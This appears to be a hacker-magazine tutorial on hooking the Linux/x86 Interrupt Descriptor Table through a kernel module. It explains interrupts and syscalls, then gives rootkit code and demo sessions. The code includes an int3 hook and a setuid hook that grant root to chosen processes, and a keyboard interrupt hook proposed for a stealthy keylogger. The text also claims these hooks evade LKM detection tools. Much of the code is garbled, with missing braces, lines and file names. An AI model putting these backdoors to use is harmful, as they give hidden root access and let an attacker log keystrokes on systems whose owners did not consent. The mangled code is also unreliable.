    3.5 - Hooking for profit : our first backdoor
    3.6 - Hooking for fun

  4 - The hardware interrupt
    4.1 - How does It work ?
    4.2 - Initialization and activation of a bottom half
    4.3 - Hooking of the keyboard interrupt

  5 - Exception programmed for the system call 
    5.1 - List of syscalls
    5.2 - How does a syscall work ?
    5.3 - Hooking for profit
        5.3.1 - Hooking of sys_setuid
        5.3.2 - Hooking of sys_write
    5.4 - Hooking for fun 

  6 - CheckIDT

  7 - References & Greetz

  8 - Appendix

--[ 1 - Introduction

    The Intel CPU can be run in two modes: real mode and protected mode.
The first mode does not protect any kernel registers from being altered
by userland programs. All modern Operating System make use of the
protected mode feature to restrict access to critical registers by
userland processes. The protected mode offers 4 different 'privilege
levels' (ranging from 0..3, aka ring0..ring3). Userland applications
are usually executed in ring3. The kernel on the other hand is executed 
in the most privileged mode, ring0. This grants the kernel full access
to all CPU registers, all parts of the hardware and the memory. With no
question is this the mode of choice to do start some hacking.

    The article will demonstrate techniques for modifying the Interrupt
Descriptor Table (IDT) on Linux/x86. Further on will the article explain
how the same technique can be used to redirect system calls to achieve
similar capability as with Loadable Kernel Modules (LKM).

    The presented examples in this article will only make use of LKM to
load the executable code into kernel space for simplicity reasons. Other
techniques which are not scope of this document can be used to either
load the executable code into the kernel space or to hide the kernel
module (Spacewalker's method for example).

    CheckIDT which is a useful tool for examining the IDT and to avoid
kernel panics every 5 minutes is provided at the end of that paper.

--[ 2 - Presentation

----[ 2.1 - What's an interrupt?

    "An interrupt is usually defined as an event that alters the
sequence of instructions executed by a processor. Such events correspond to
electrical signals generated by hardware circuits both inside and outside
of the CPU chip."
(from: "Understanding the Linux kernel," O'Reilly publishing.)

----[ 2.2 - Interrupts and exceptions

    The Intel reference manual refers to "synchronous interrupts" (those
which are produced by the CPU Control Unit (CU) after the execution of an
instruction has been finished) as "exceptions". Asynchronous interrupts
(those which are generated by other hardware devices at arbitrary time) are
referred to as just "interrupts". Interrupts are issued by external I/O
devices whereas exceptions are caused either by programming errors or by
anomalous conditions that must be handled by the kernel. The term
"Interrupt Signals" will be used during this article to refer to both,
exceptions and interrupts.

    Interrupts are split into two categories: Maskable interrupts which can
be ignored (or 'masked') for a short time period and non-maskable
interrupts which must be handled immediately. Unmaskable interrupts are
generated by critical events such as hardware failures; I won't deal
with them here. The well-known IRQs (Interrupt ReQuests) fall into the
category of maskable interrupts.

    Exceptions are split into two different categories: Processor
generated exceptions (Faults, Traps, Aborts) and programmed exceptions
which can be triggered by the assembler instructions int or int3. The
latter one are often referred to as software interrupts.

----[ 2.3 - Interrupt vector

Each interrupt or exception is identified by a number between 0 and 255.
Intel calls this number a vector. The numbers are classified like this:

- From 0 to 31   : exceptions and non-maskable interrupts
- From 32 to 47  : maskable interrupts
- From 48 to 255 : software interrupts

Linux uses only one software interrupt (0x80) which is used for the
syscall interface to invoke kernel functions.

Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to
the interrupt vectors 32..47.

----[ 2.4 - What is IDT ? 

IDT = Interrupt Descriptor Table

The IDT is a linear table of 256 entries which associates an interrupt
handler with each interrupt vector.
Each entry of the IDT is a descriptor of 8 bytes which blows the entire
IDT up to a size of 256 * 8 = 2048 bytes.
The IDT can contain three different types of descriptors/entries:

- Task Gate Descriptor
        Linux does not use this descriptor

- Interrupt Gate Descriptor

63                      48|47           40|39              32  
|                         | |D|D| | | | | | | | |           
| HANDLER OFFSET (16-31)  |P|P|P|0|1|1|1|0|0|0|0| RESERVED  
|                         | |L|L| | | | | | | | |           
                          |                                 |
  SEGMENT SELECTOR        |   HANDLER OFFSET (0-15)         |
                          |                                 |
31                      16|15                               0

        - bits  0 to 15 : handler offset low
        - bits 16 to 31 : segment selector
        - bits 32 to 37 : reserved
        - bits 37 to 39 : 0
        - bits 40 to 47 : flags/type 
        - bits 48 to 63 : handler offset high

- Trap Gate Descriptor

        Same as the previous one, but the flag is different

The flag is composed as next :

        - 5 bits for the type
                interrupt gate       : 1 1 1 1 0
                trap  gate          : 0 1 1 1 0        
        - 2 bits for DPL
                DPL = descriptor privilege level
        - 1 bit reserved

    Offset low and offset high contain the address of the function handling
the interrupt. This address is jumped at when an interrupt occurs. The goal
of the article is to change one of these addresses and let our own 
interrupthandler beeing executed.

DPL=Descriptor Privilege Level

    The DPL is equal to 0 or 3. Zero is the most privileged level (kernel
mode).  The current execution level is saved in the CPL register (Current
Privilege Level). The UC (Unit Of Control) compares the value of the CPL
register against the DPL field of the interrupt in the IDT. The interrupt
handler is executed if the DPL field is greater (less privileged) or equal
to the value in the CPL register. Userland applications are executed in
ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by
userland applications.

    The IDT is initialized one first time by the BIOS routine but Linux
does it one more time when it take control. The asm lidt function
initialize the idtr registry which will contain the size and idt's address.
Then the setup_idt function fill the 256 entry of the idt with the same
interrupt gate, ignore_int. Then the good gate will be inserted into the
idt by the next functions:

linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
        insert an interrupt gate at the n place at the address
        pointed to by the idt register. The interrupt handler's address
        is stored in 'addr'.
All maskable interrupts and software interrupts are initialized with:
	set_intr_gate :

                for (i = 0; i < NR_IRQS; i++) {
                int vector = FIRST_EXTERNAL_VECTOR + i;
                if (vector != SYSCALL_VECTOR) 
                        set_intr_gate(vector, interrupt[i]);    

linux/arch/i386/kernel/traps.c::set_system_gate(n, addr)
        insert a trap gate.
	The DPL field is set to 3.

These interrupts can be invoked from the userland (ring3).

linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr)
        insert a trap gate with the DPL field set to 0.
        The Others exception are initialized with set_trap_gate : 

    IRQ interrupts are initialized by set_intr_gate(), Exception int3,
overflow, bound and the system_call software interrupt by set_system_gate().
All others exceptions are initialized by set_trap_gate().  

    Let's start over with some practice and examine the currently assigned
handler addresses for each interrupt. Use the tool CheckIDT [6] attached
to this article for this:

%./checkidt -A -s

Int *** Stub Address * Segment *** DPL * Type             Handler Name
0       0xc01092c8     KERNEL_CS   0     Trap gate        divide_error
1       0xc0109358     KERNEL_CS   0     Trap gate        debug
2       0xc0109364     KERNEL_CS   0     Trap gate        nmi
3       0xc0109370     KERNEL_CS   3     System gate      int3
4       0xc010937c     KERNEL_CS   3     System gate      overflow
5       0xc0109388     KERNEL_CS   3     System gate      bounds
6       0xc0109394     KERNEL_CS   0     Trap gate        invalid_op
18      0xc0109400     KERNEL_CS   0     Trap gate        machine_check
19      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
20      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
31      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
32      0xc010a0d8     KERNEL_CS   0     Interrupt gate   IRQ0x00_interrupt
33      0xc010a0e0     KERNEL_CS   0     Interrupt gate   IRQ0x01_interrupt
47      0xc010a15c     KERNEL_CS   0     Interrupt gate   IRQ0x0f_interrupt
128     0xc01091b4     KERNEL_CS   3       System gate      system_call

The contains the symbol names to the addresses shown above.

% grep c0109364 /boot/ 
00000000c0109364 T nmi
nmi=not maskable interrupt ->trap_gate

% grep c010937c /boot/ 
00000000c010937c T overflow
overflow -> system_gate

% grep c01001e4 /boot/
00000000c01001e4 t ignore_int 

18 to 31 are reserved by Intel for further use

% grep c010a0e0 /boot/
00000000c010a0e0 t IRQ0x01_interrupt 
device keyboard ->intr_gate 

% grep c01091b4 /boot/ 
00000000c01091b4 T system_call 
system call  -> system_gate

rem: there is a new option in checkIDT for resolving symbol

--[ 3 - Exceptions 

----[ 3.1 - List of  exceptions

number  | Exception 			| Exception Handler               |
0       | Divide Error			| divide_error()                  |
1       | Debug				| debug()                         |
2       | Nonmaskable Interrupt  	| nmi()                           |
3       | Break Point			| int3()		          |
4       | Overflow			| overflow()                      |
5       | Boundary verification		| bounds()                        |
6       | Invalid operation code	| invalid_op()                    |
7       | Device not available		| device_not_available()          |
8       | Double Fault                	| double_fault()                  |
9       | Coprocessor segment overrun	| coprocesseur_segment_overrun()  |
10      | TSS not valid			| invalid_tss()                   |
11      | Segment not  present		| segment_no_present()            |
12      | stack exception 		| stack_segment()                 |
13      | General Protection 		| general_protection()            |
14 	| Page Fault			| page_fault()                    |
15      | Reserved by Intel		| none                            |
16      | Calcul Error with float virgul| coprocessor_error()             |
17      | Alignement check		| alignement_check()              |
18      | Machine Check			| machine_check()                 |

Exceptions are divided into two categories:
- processor detected exceptions (DPL field set to 0)
- software interrupts (aka programmed exceptions), (DPL field set to 3).

The latter one can be invoked from userland.

----[ 3.2 - Whats happening when an exception occurs ?

    On the occurrence of an exception the corresponding handler address 
from the current IDT is executed. This handler is not the real handler who
deals with the exception, it's just jumps till the true/good handler.

To be clearer : 

exception -----> intermediate Handler -----> Real Handler

entry.S defines all the intermediate Handler, also called Generic Handler
or stub. The first Handler is written in asm, the real Handler written in

For not being confused, lets call the first handler : asm Handler
and the second one the C Handler.

let's have a look at entry.S :

entry.S :

        pushl $0
        pushl $ SYMBOL_NAME(do_nmi)
        jmp error_code

        pushl $0
        pushl $ SYMBOL_NAME(do_int3)
        jmp error_code

        pushl $0
        pushl $ SYMBOL_NAME(do_overflow)
        jmp error_code


        pushl $0                # no error value/code
        pushl $ SYMBOL_NAME(do_divide_error)
        pushl %ds
        pushl %eax
        xorl %eax,%eax
        pushl %ebp
        pushl %edi
        pushl %esi
        pushl %edx
        decl %eax                       # eax = -1
        pushl %ecx
        pushl %ebx
        movl %es,%cx
        movl ORIG_EAX(%esp), %esi       # get the error value
        movl ES(%esp), %edi             # get the function address
        movl %eax, ORIG_EAX(%esp)
        movl %ecx, ES(%esp)
        movl %esp,%edx
        pushl %esi                      # push the error code
        pushl %edx                      # push the pt_regs pointer
        movl $(__KERNEL_DS),%edx
        movl %dx,%ds
        movl %dx,%es
        call *%edi
        addl $8,%esp
        jmp ret_from_exception

Let's examine the above:

    ALL handlers have the same structure (only system_call and
device_not_available are different): 

pushl $0 
pushl $ SYMBOL_NAME(do_####name)
jmp error_code

    Pushl $0 is only used for some exceptions. The UC is supposed to smear
the hardware error value of the exception onto the stack. Some exceptions
to not generate an error value and $0 (zero) is pushed instead. The last
line jumps to error_code (see linux/arch/i386/kernel/entry.S for details).

error code is an asm macro used by the exceptions.

so let's resume once again

exception ---> intermediate Handler ---> error_code macro ---> Real Handler

The Assembly fragment error_code performs the following steps:

1: Saves the registers that might be used by the high-level C function on
   the stack.

2: Set eax to -1.

3: Copy the hardware error value ($esp + 36) and the handler's address
   ($esp + 32) in esi and edi respectively.

        movl ORIG_EAX(%esp), %esi     
        movl ES(%esp), %edi             

4: Place eax, which is equal to -1, at the error code emplacement.
   Copy the content of es to the stack location at $esp + 32.
5: Save the the stack's top Address into edx,then smear error_code which we
   get back at point 3 and edx on the stack. 
   The stack's top address must be saved for later use.

6: Place the kernel data segment selector into the ds and es registry.

7: Set the current process descriptor's address in ebx.

8: Stores the parameters to be passed to the high-level C function on the
   stack (e.g. the hardware exception value and the address and the stack
   location of the saved registers from the user mode process).

9: Call the exception handler (address is in edi, see 3).

10: The two last instructions are for the back of the exception.

error_code will jump to the suitable exception Manager. The one that's 
gonna actually handle the exceptions (see traps.c for detailed 

So these ones are written in C.

Let's take an exception handler as a concrete example. For example, the
C handler for non maskable nmi interruption.

rem: taken from traps.c

asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
        unsigned char reason = inb(0x61);
        extern atomic_t nmi_counter;

asmlinkage is a macro used to keep params on the stack. As params are
passed from asm code to C code through the stack, it would be bad to get
unwanted params put on the top of the stack. Asmlinkage gonna resolve
that point. 

The function do_nmi gets a pointer of type pt_regs and error_code. 

pt_regs is defined into  /usr/include/asm/ptrace.h:

struct pt_regs {
        long ebx;
        long ecx;
        long edx;
        long esi;
        long edi;
        long ebp;
        long eax;
        int  xds;
        int  xes;
        long orig_eax;
        long eip;
        int  xcs;
        long eflags;
        long esp;
        int  xss;

    A part of the registry are push on the stack by error_code, the others 
are some registry pushed by the UC at the hardware level.

This handler will handle the exception and almost all time send a signal to
the process.

----[ 3.3 - Hooking an interrupt (by Mammon)

    Mammon wrote a txt on how to hook interrupt under linux. The technique
I'm going to explain is similar to that of Mammon but will allow us
to handle the interrupt in a more generic/comfortable way.

Let's take int3, the breakpoint interrupt. The handler/stub is defines as

        pushl $0
        pushl $ SYMBOL_NAME(do_int3)
        jmp error_code

    The C handler's address is pushed on the stack right after the dummy
hardware error value (zero) has been saved. The assembly fragment
error_code is executed next. Our approach is to rewrite such an asm handler
and push our own handler's address on the stack instead of the original one


void stub_kad(void)
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "pushl $0                       \n"
        "pushl ptr_handler(,1)          \n"
        "jmp *ptr_error_code             "

    Our new handler looks similar to the original one. The surrounding
statements are required to get it compiled with a C compiler.

- We put our asm code into a function to make linking easier.
- .globl my_stub, will allow us to reference the asm code if we declare
  in global : extern asmlinkage void my_stub();
- align 4,0x90, align the size of one word, on Intel processor the
  alignement is 4 (32 bits).
- push ptr_handler(,1) , conform to the gas syntax,we wont use it later.

For more information about asm inline, see [1].  

We push our Handler's address and we jump to error_code.

 ptr_handler contain our C Handler's address :

unsigned long ptr_handler=(unsigned long)&my_handler;

The C Handler: 

asmlinkage void my_handler(struct pt_regs * regs,long err_code)
        void (*old_int_handler)(struct pt_regs *,long) = (void *)
        printk("<1>Wowowo hijacking of int 3 \n");

    We get back two argument, one pointer on the registry, and err_code.
We have seen before that error_code push this two argument. We save the
old handler's address,the one we was supposed to push (pushl
$SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the
interrupt and go back to the old handler.Its the same way as hooking a
syscall with "classical method".

What's old_handler ?

#define do_int3    0xc010977c
unsigned long old_handler=do_int3;

do_int3 address have been catch from 

rem : We can define a symbol's address on-the-fly.

To be clearer  : 

asm Handler
push 0
push our handler
jmp to error_code
do some operation
pop our handler address
jmp to our C handler

our C Handler                                                                    
save the old handler's address
print a message
return to the real C handler

Real C Handler
really deal with the interrupt 

    Now we have to change the first Handler's address in the corresponding
descriptor in the IDT (offset_low and offset_high, see 2.4). The function
accepts three parameters: The number of the interrupt hook, the new
handler's address and a pointer to save the old handler's address.

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub

                *old_stub=(unsigned long)get_stub_from_idt(3);
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);

unsigned long get_addr_idt (void)
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);

void * get_stub_from_idt (int n)
        struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));

struct descriptor_idt:

struct descriptor_idt
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;

We have seen that a descriptor is 64 bits long.

unsigned short : 16 bits (offset_low,seg_selector and offset_high)
unsigned char  : 8 bits  (reserved and flag)

(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet 

It's a descriptor for the IDT. The only interesting fields are offset_high
and offset_low. It's the two fields we will modify.   

Hook_stub performs the following steps:

1: We copy our handler's address into new_addr

2: We make the idt variable point on the first IDT descriptor.
   We got the IDT's address with the function get_addr_idt().
   This function execute the asm instruction sidt who get the idt address 
   and his size into a variable.
   We get the idt's address from this variable (idtr) and we send it back.
   This have been already explained by sd and devik in Phrack 58 article 7.    
3: We save the old handler's address with the function get_stub_from_idt.
   This function extract the fields offset_high and offset_low from the
   gived descriptor and send back the address.
        struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));

n = the number of the interrupt to hook. idte will then contain the
given interrupt descriptor.

We send the handler's address back,for it we send a type
(void*) (32 bits).

offset_high and offset_low do both 16 bits, we slide the bit for offset 
high to the left,and we add offset_low. The whole part give the handler's

4 : new_addr contain our handler's address,always  32 bits.
We extract the 16 MSB and put them into offset_high and the  16
LSB into  offset_low. 

The fields offset_high and offset_low of the interrupt's descriptor to
handle have been changed. 

The whole code is available in annexe CODE 1

Why is this technique not perfect?
Its not that its bad, but it isn't appropriate for the others
interrupt.Here we admit that all handler are like that :

pushl $0 
pushl $ SYMBOL_NAME(do_####name)
jmp error_code

    It's True.If you give a look in entry.S, they are almost all look like
this. But not all. Imagine you wanna hook the syscall's handler, The
device_not_aivable Handler (even if its not really interesting)or even the
hardware interrupt....How Will we do it ?

----[ 3.4 - Generic interrupt hooking

We are going to use another technique to hook a handler. Remember, in the 
handler written in C, we went back to the true C handler thanks to a 

Now, we are going to go back in the asm code.

Simple example of handler :

void stub_kad(void)
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       call *%0                \n"
        "       jmp  *%1                  \n"

Here, we make a call to our fake C handler, the handler is executed and 
goes back to the asm handler which jumps to the true asm handler !

Our C handler :

asmlinkage void my_function()
        printk("<1>Interrupt %i hijack \n",interrupt);

What happens ?

We are going to change the address in the idt by the address of our asm 
handler. This one will jump to our C handler and will go back to our asm 
handler which, at the end, will jump to the true asm handler the address 
of which we have saved.


For those who had not felt up to read the doc on asm inline, here is the 
syntax :

asm (
    assembler instruction
    : output operands
    : input operands
    : list of modified registers

You can put asm or __asm__. __asm__ is used to avoid confusion with other 
vars. You can also put asm volatile, in this case the asm code won't 
be changed (optimized) during the compilation.

"m"(hostile_code) and "m"(old_stub) are input operands. The first one is 
equal to %0, the second one to %1, ... So call %0 is equal to call 
hostile_code. "m" means memory address. hostile_code corresponds to the 
address of our C handler and old_stub to the address of the handler that 
was in the idt previously. If this seems impossible to understand, I advice
you to read the doc on asm inline [1]. 

The whole code is in annexe. All the next codes comes from this code. 
In each new example, I will only show the asm handler et the C handler. 
The rest will be the same. 

First concrete example :

bash-2.05# cat test.c
#include <stdio.h>

int main ()
  int a=8,b=0;
  printf("A/B = %i\n",a/b);
  return 0;
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook

Good ! We see the "Interrupt hijack".

In this code, we use MODULE_PARM which will allow to give parameters during
the module insertion. For further information about this syntax, read 
"linux device drivers" from o'reilly [2] (chapter 2). This will allow us 
to hook a chosen interrupt with the same module.

----[ 3.5 - Hooking for profit : our first backdoor

This first very simple backdoor will allow us to obtain a root shell. 
The C handler is going to give the root rights to the process that has 
generated the interrupt.

Asm handler

void stub_kad(void)
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       pushl %%ebx             \n"
        "       movl %%esp,%%ebx        \n"
        "       andl $-8192,%%ebx       \n"
        "       pushl %%ebx             \n"
        "       call *%0                \n"
        "       addl $4,%%esp           \n"
        "       popl %%ebx              \n"
        "       jmp  *%1                \n"

We give to the C handler the address of the current process descriptor. 
We get it back like in error_code, thanks to the macro GET_CURRENT : 

#define GET_CURRENT(reg) \
    movl %esp, reg; \
    andl $-8192, reg;

defined in entry.S.

rem : We can also use current instead.

We put the result on the stack and we call our function. The rest of the 
asm code puts the stack back in its previous state and jumps to the
true handler.

C handler :
unsigned long hostile_code=(unsigned long)&my_function;

asmlinkage void my_function(unsigned long addr_task)
        struct task_struct *p = &((struct task_struct *) addr_task)[0];
    	if(strcmp(p->comm,"give_me_root")==0 )

We declare a pointer on the current process descriptor. We compare the name
of the process with a name we have chosen. We must not attribute the root 
rights to all the process which would generate this interrupt. If it is 
the good process, then we can give it new rights.

"give_me_root" is a little program which launch a shell 
(system("/bin/sh")). We will only have to put a breakpoint before system
 to launch a shell with the root rights. 

In practice :

bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finish

///// in another shell //////

sh-2.05$ cat give_me_root.c
#include <stdio.h>

int main (int argc, char ** argv)
    return 0;

sh-2.05$ gcc -o give_me_root give_me_root.c
sh-2.05$ id
uid=1000(kad) gid=100(users) groups=100(users)
sh-2.05$ gdb give_me_root -q
(gdb) b main
Breakpoint 1 at 0x80483f6
(gdb) r
Starting program: /tmp/give_me_root

Breakpoint 1, 0x080483f6 in main ()
(gdb) c
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)

We are root. The code is in annexe, CODE 2.

----[ 3.6 - Hooking for fun

A program that could be interesting is an exception tracer. We could for 
example hook all the exceptions to print the name of the process that has 
provoked the exception. We could know all the time who launch what. 
We could also print the values of the registers. 
There is a function show_regs that is in  arch/i386/kernel/process.c :

void show_regs(struct pt_regs * regs)
    long cr0 = 0L, cr2 = 0L, cr3 = 0L;

    printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip);
    if (regs->xcs & 3)
        printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
    printk(" EFLAGS: %08lx\n",regs->eflags);
    printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
    printk("ESI: %08lx EDI: %08lx EBP: %08lx",
        regs->esi, regs->edi, regs->ebp);
    printk(" DS: %04x ES: %04x\n",
        0xffff & regs->xds,0xffff & regs->xes);
    __asm__("movl %%cr0, %0": "=r" (cr0));
    __asm__("movl %%cr2, %0": "=r" (cr2));
    __asm__("movl %%cr3, %0": "=r" (cr3));
    printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);

You can use this code to print the state of the registers at every 

    Something more dangerous would be to change the asm handler so that it
would not execute the true C handler. The process that has generated the
exception would not receive such signals as SIGSTOP or SIGSEGV. This would
be very useful in some situations.


----[ 4.1 - How does it works ?

    We can also hook interrupts generated by IRQs with the same method but 
they are less interesting to hook (unless you have a great idea ;). We are 
going to hook interrupt 33 which is keyboard's. The problem is that this 
interrupt happens a lot more. The handler will be executed a large number 
of times and will have to go very fast to not block the system. To avoid 
this, we are going to use bottom half. There are functions of low priority
which are used for interrupt handling in most cases . The kernel is waiting
for the adequate time to launch it, and other interruptions are not masked 
during its execution
The waiting bottom half will be executed only at the following:

- the kernel finishes to handle a syscall
- the kernel finishes to handle a exception 
- the kernel finishes to handle a interrupt
- the kernel uses the schedule() function in order to select a new

But they will be executed before the processor goes back in user mode. 

So the bottom half are useful to ensure the quick handle of an

Here are some examples of linux used bottom halves

Bottom half     |       Peripheral equipment    |
CONSOLE_BH      |       Virtual console         |
IMMEDIATE_BH    |       Immediate tasks file    |
KEYBOARD_BH     |       Keyboard                |
NET_BH          |       Network interface       |
SCSI_BH         |       SCSI interface          |
TIMER_BH        |       Clock                   |
TQUEUE_BH       |       Periodic tasks queue    |
...             |                               |

    My goal writing this paper is not to study the bottom halves, as it's a
too wide topic. Anyway, for more informations about that topic, you can
have a look at [8]

IRQ list

BEWARE ! : the number of the interrupts are not always the same for the 

IRQ | Interrupt     | Peripheral equipment
0   | 32            | Timer
1   | 33            | Keyboard
2   | 34            | PIC cascade
3   | 35            | Second serial port
4   | 36            | First serial port
6   | 37            | Floppy drive
8   | 40            | System clock
11  | 43            | Network interface
12  | 44            | PS/2 mouse
13  | 45            | Mathematic coprocessor
14  | 46            | First EIDE disk controller
15  | 47            | Second EIDE disk controller

----[ 4.2 - Initialization and activation of a bottom half

    The low parts must be initialized with the function init_bh(n,routine)
that insert the address routine in the n-th entry of bh_base (bh_base is an
array where low parts are kept). When it is initialized, it can be
activated and executed. The function mark_bh(n) is used by the interrupt
handler to activate the n-th low part.

The tasklets are the functions themselves. There are put together in list 
of elements of type tq_struct :

struct tq_struct {
    struct tq_struct *next;     /* linked list of active bh's */
    unsigned long sync;     /* must be initialized to zero */
    void (*routine)(void *);    /* function to call */
    void *data;         /* argument to function */

    The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a
tasklet that will then be inserted in the task queue thanks to the function
queue_task. There is several task queues, the most interesting here is
tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate
task queue).


----[ 4.3 - Hooking of the keyboard interrupt

    When we hit a key, the interrupt happens twice. Once when we push the
key and once when we release the key. The code below will display a message
every 10 interrupts. If we hit 5 keys, the message appears.

I don't show the asm handler which is the same as in 3.4

struct Variable
    int entier;
    char chaine[10];
static void evil_fonction(void * status)
    struct Variable *var = (struct Variable * )status;
        if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
asmlinkage void my_function()
        static struct Variable variable;
        static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
    	strcpy(variable.chaine,"haha hijacked key :) ");

    We declare a tasklet my_task. We initialize it with our function and
the argument. As the tasklet allow us to take only one argument, we give
the address of a structure. This will allow to use several arguments. We
add the tasklet to the list tq_immediate thanks to queue_task. Finally, we 
activate the low part IMMEDIATE_BH thanks to mark_bh:


    We have to activate IMMEDIATE_BH, which handles the tasks queue
'tq_immediate' (the one where we added our own tasklet) evil_function is to
be executed just after one of the requested event (listed in part 4.1)

    evil_function is just going to display a message each time that the 
interrupt happened 10 times. We effectively hooked the keyboard interrupt.
We could use this method to code a keylogger. This one would be the most
quiet because it would act at interrupts level. The issue, that I didn't
solve, is to know which key has been hit. To do this, we can use the
function inb() that can read on a I/O port. There are 65536 I/O ports 
(8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports 
make a 32 bits ports. The functions that allow us to access ports are: 

inb,inw,inl    : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.

    So we can read the scancode of the keyboard thanks to the function inb,
and its status (pushed, released). Unfortunately, I'm not sure of the port
to read. The port for the scancode is 0x60 and the port for the status is


    scancode is going to be equal to a value that will have to be
transformed to know which key has been hit. This is realized with an array
of value. It may exist a function that give directly the conversion, but
I'm not sure. If anyone has information about it or wish to develop the
topic, he can contact me.


----[ 5.1 - List of the syscalls

You can find a list of all the syscalls at the url : [3]. 
All syscalls are listed and the value to put in the registers are given.

Rem : be ware, the numbers of the syscalls are not the same in 2.2.* 
and 2.4.* kernels.

----[ 5.2 - How does a syscall work ?

    Thanks to the technique that we have just used here, we can also hook
the syscalls. When a syscall is called, all the parameters of the syscall 
are in the registers.

eax : number of the called syscall
ebx : first param
ecx : second param
edx : third param
esi : fourth param
edi : fifth param

    The maximum number of arguments can't exceed 5. However, some syscalls
need more than 5 arguments. It is the case for the syscall mmap (6 params). 
In such a case, a single register is used to point to a memory area to the 
addressing space of the process in user mode that contains the values of 
the parameters.

    We can get these values thanks to the structure pt_regs that we've seen
before. We are going to hook syscalls at the IDT level and not in the
syscall_table. kstat and all currently available LKM detection tools will
fail in detecting our voodoo. I won't show you all what can be done by
hooking the syscalls, the technique used by pragmatic or so in their LKMs
are applicable here. I will show you how to hook some syscalls, you will
be able to hook those you want using the same technique.

----[ 5.3 - Hooking for profit

------[ 5.3.1 - Hooking of sys_setuid


EAX: 213
EBX: uid

We are going to begin with a simple case, a backdoor that change the rights
of a process into root. The same backdoor as in 3.5 but we are going to 
hook the syscall setuid.

asm handler :
#define sys_number 213
void stub_kad(void)
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
                //save the register value
                "       pushl %%ds                      \n"
                "       pushl %%eax                     \n"
                "       pushl %%ebp                     \n"
                "       pushl %%edi                     \n"
                "       pushl %%esi                     \n"
                "       pushl %%edx                     \n"
                "       pushl %%ecx                     \n"
                "       pushl %%ebx                     \n"
                //compare if it's the good syscall
                "       xor %%ebx,%%ebx                 \n"
                "       movl %2,%%ebx                   \n"
                "       cmpl %%eax,%%ebx                \n"
                "       jne finis                       \n"
                //if it's the good syscall, 
		//put top stack address on stack :)
                "       mov %%esp,%%edx                 \n"
                "       mov %%esp,%%eax                 \n"
                "       andl $-8192,%%eax               \n"
                "       pushl %%eax                     \n"
                "       push %%edx                      \n"
                "       call *%0                        \n"
                "       addl $8,%%esp                   \n"
                "finis:                                 \n"
                //restore register
                "       popl %%ebx                      \n"
                "       popl %%ecx                      \n"
                "       popl %%edx                      \n"
                "       popl %%esi                      \n"
                "       popl %%edi                      \n"
                "       popl %%ebp                      \n"
                "       popl %%eax                      \n"
                "       popl %%ds                       \n"
                "       jmp  *%1                        \n"

- we save the values of all the registers on the stack
- we compare eax that contains the number of the syscall with the value 
  of sys_number that we have defined above.
- if it is the good syscall, we put on the stack the value of esp from 
  which have saved all the registers (that will be used for pt_regs) and 
  the current process descriptor.
- we call our C handler, then at the return, we pop 8 bytes (eax + edx).
- finis : we put back the value of our registers and we call the true 

By changing the value of sys_number, we can hook any syscall with this asm 

C handler

asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
        struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
        if (regs->ebx == 12345 )

We get the value of the registers in a pt_regs structure and the address 
of the current fd. We compare the value of ebx with 12345, if it is equal 
then we set the uid and the gid of the current process to 0.

In practice :

bash-2.05$ cat setuid.c
#include <stdio.h>
int main (int argc,char ** argv)
    return 0;
bash-2.05$ gcc -o setuid setuid.c
bash-2.05$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)

We are root. This technique can be used with many syscalls.

------[ 5.3.2 - Hooking of sys_write


EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send

We are going to hook sys_write so that it will replace a string in a 
defined program. Then, we will hook sys_write so that it will replace 
in the whole system. 

